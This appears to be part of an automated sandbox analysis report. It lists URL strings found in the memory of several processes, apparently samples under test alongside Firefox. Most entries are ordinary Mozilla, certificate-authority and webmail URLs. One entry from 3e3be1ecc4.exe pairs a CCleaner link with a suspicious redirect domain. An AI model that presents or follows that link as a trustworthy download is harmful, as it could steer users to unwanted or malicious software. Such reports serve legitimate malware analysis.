Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997499284.00000294B5D7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: 5a20612cd1.exe, 00000011.00000003.2867480478.000000000586D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2928411061.00000294ADC38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 5a20612cd1.exe, 00000011.00000003.2867480478.000000000586D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2928411061.00000294ADC38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: 5a20612cd1.exe, 0000000F.00000003.2573768570.0000000001118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microX
Source: 5a20612cd1.exe, 00000011.00000003.2867480478.000000000586D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2928411061.00000294ADC38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 5a20612cd1.exe, 00000011.00000003.2867480478.000000000586D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2928411061.00000294ADC38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 5a20612cd1.exe, 00000011.00000003.2867480478.000000000586D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2928411061.00000294ADC38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 5a20612cd1.exe, 00000011.00000003.2867480478.000000000586D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2928411061.00000294ADC38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 5a20612cd1.exe, 00000011.00000003.2867480478.000000000586D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2928411061.00000294ADC38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001F.00000002.2892879533.00000294A8505000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2913315248.00000294ACA17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2961206470.00000294AEA99000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972970478.00000294AF9ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972970478.00000294AF9DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2976050815.00000294B00AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2969171257.00000294AF63C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlACTIVITY_SUBTYPE_REQUEST_BODY_SENT
Source: firefox.exe, 0000001F.00000002.2972970478.00000294AF9A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2892879533.00000294A853E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 0000001F.00000002.2888692712.00000294A7C61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 0000001F.00000002.2888692712.00000294A7C61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions$c
Source: firefox.exe, 0000001F.00000002.2924932014.00000294AD016000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3005923236.00002CD4BB604000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3002467721.00000C7EBB943000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3005923236.00002CD4BB604000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGate
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGatehttp://mozilla.org/#/properties/showExposureResults
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsShowLessFrequentlyCap
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatment
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatmenthttp://mozilla.org/#/properties/merinoEndpointURL
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchBlockingEnabled
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabled
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/featureId
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value/additiona
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/enabled
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureId
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value/additiona
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/featureI
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/count
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/start
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/total
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDate
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/experimentType
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/exposureResults
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOut
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOuthttp://mozilla.org/#/properties/localizations
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isBestMatchExperiment
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isEnrollmentPaused
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties/additionalProperties
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0resource://activity-stream/lib/ASRouterPreferen
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mdnFeatureGate
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoClientVariants
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoClientVariantshttp://mozilla.org/#/properties/autoFillAdaptive
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEnabled
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEndpointURL
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoProviders
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoTimeoutMs
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slug
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketFeatureGate
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCap
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollment
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollmentresource://normandy/lib/ClientEnvironment.sys.mjs
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabled
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabledhttp://mozilla.org/#/properties/weatherKe
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestEnabled
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabled
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndex
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariation
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataTypehttp://mozilla.org/#/properties/qu
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabled
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabledhttp://mozilla.org/#/properties/qui
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenario
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenariohttp://mozilla.org/#/properties/quickSuggestSpon
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMap
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShowOnboardingDialogAfterNRestarts
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabled
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredIndex
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showExposureResults
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGate
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGate(
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingDescription
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherFeatureGate
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywords
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLength
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCap
Source: firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/0
Source: firefox.exe, 0000001F.00000002.2969171257.00000294AF61A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2969171257.00000294AF663000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2984807918.00000294B420E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2982705596.00000294B4142000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2912004536.00000294AC803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2768166027.00000294ABF4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2898856802.00000294A9BE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986949900.00000294B43CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2969171257.00000294AF645000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2989111865.00000294B4440000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2905187910.00000294ABF04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2905187910.00000294ABF07000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2841617207.00000294B43CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2842841573.00000294AE9C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2993230028.00000294B4703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2907348799.00000294AC3FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972970478.00000294AF95A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2920485104.00000294ACC03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2982705596.00000294B4184000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2779978103.00000294AC3EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/Z
Source: 5a20612cd1.exe, 00000011.00000003.2867480478.000000000586D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2928411061.00000294ADC38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 5a20612cd1.exe, 00000011.00000003.2867480478.000000000586D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2928411061.00000294ADC38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001F.00000002.2888692712.00000294A7CDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 0000001F.00000002.2933221891.00000294AE153000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2982705596.00000294B4184000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 0000001F.00000002.2933221891.00000294AE153000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2888692712.00000294A7CDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2982705596.00000294B4184000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: 3e3be1ecc4.exe, 0000000D.00000003.3089794015.00000000056E1000.00000004.00000020.00020000.00000000.sdmp, 3e3be1ecc4.exe, 0000000D.00000003.3089137215.00000000056E1000.00000004.00000020.00020000.00000000.sdmp, 3e3be1ecc4.exe, 0000000D.00000003.3089580514.00000000057E4000.00000004.00000020.00020000.00000000.sdmp, 3e3be1ecc4.exe, 0000000D.00000003.3089961205.00000000058F1000.00000004.00000020.00020000.00000000.sdmp, 3e3be1ecc4.exe, 0000000D.00000003.3090206271.00000000056E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: file.exe, file.exe, 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateBITS_IDLE_NO_PROGRESS_TIMEOUT_SECSPREF_APP_UPDATE_SERVICE_MAXE
Source: firefox.exe, 0000001F.00000002.2972627583.00000294AF723000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 0000001F.00000002.2931152196.00000294ADFEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A869E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8626000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8696000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2898856802.00000294A9B5F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2908193137.00000294AC419000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A86AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2908193137.00000294AC403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8644000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2958725609.00000294AE94E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulPlacesUtils.keywords.removeFromURLsIfNo
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A869E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/browser-gestur
Source: file.exe, 00000000.00000002.2225295633.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2217516520.00000000062E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 5a20612cd1.exe, 00000011.00000003.2867480478.000000000586D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2928411061.00000294ADC38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2982705596.00000294B4184000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 5a20612cd1.exe, 00000011.00000003.2867480478.000000000586D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2928411061.00000294ADC38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2982705596.00000294B4184000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001F.00000002.2997499284.00000294B5DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://youtube.com/
